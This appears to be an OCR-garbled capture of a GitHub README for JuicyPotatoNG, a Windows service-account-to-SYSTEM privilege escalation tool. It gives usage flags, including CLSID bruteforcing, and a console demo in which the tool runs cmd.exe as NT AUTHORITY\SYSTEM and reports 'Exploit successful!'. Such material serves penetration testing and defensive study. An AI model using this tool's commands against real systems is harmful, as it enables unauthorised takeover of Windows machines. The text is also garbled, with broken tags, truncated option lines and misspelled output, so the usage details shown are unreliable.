

SSPIHooks.cpp		Cont
SSPIHooks.h		
demo.png		
test_system_ports.ps1		
্রা README ক্র MIT license	∷≡	Lang
		C-Pc
JuicyPotatoNG		
Just another Windows Local Privilege Escalation from Service	ce	
Account to System. Full details at>		
https://decoder.cloud/2022/09/21/giving-juicypotato-a-		
second-chance-juicypotatong/		
Usage		
cl	Ç	
JuicyPotatoNG		
<pre>by decoder_it & splinter_code</pre>		
Mandatory args:		
-t createprocess call: <t> CreateProcessWithTok</t>		
-p <pre>-p <pre>program>: program to launch</pre></pre>		
Optional args:		
-l <port>: COM server listen port (Default 1024)</port>		
<pre>-a <argument>: command line argument to pass to -c <clsid>: (Default {854A20FB-2D44-457D-992F-El</clsid></argument></pre>		
-i : Interactive Console (valid only with Creat		
Additional modes:		
-b : Bruteforce all CLSIDs. !ALERT: USE ONLY FO		

Contributors 2 Languages C++ 96.9% C 2.1% PowerShell 1.0%

-s : Seek for a suitable COM port not filtered ∣

Demo

```
C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>whoami
nt authority\local service

C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a
"/c whoami > C:\juicypotatoNG
by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[*] authoresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation
[*] CreatProcesskithTokenN OK
[*] Exploit successful!

C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>type C:\juicypotatong.txt
nt authority\system

C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>
```

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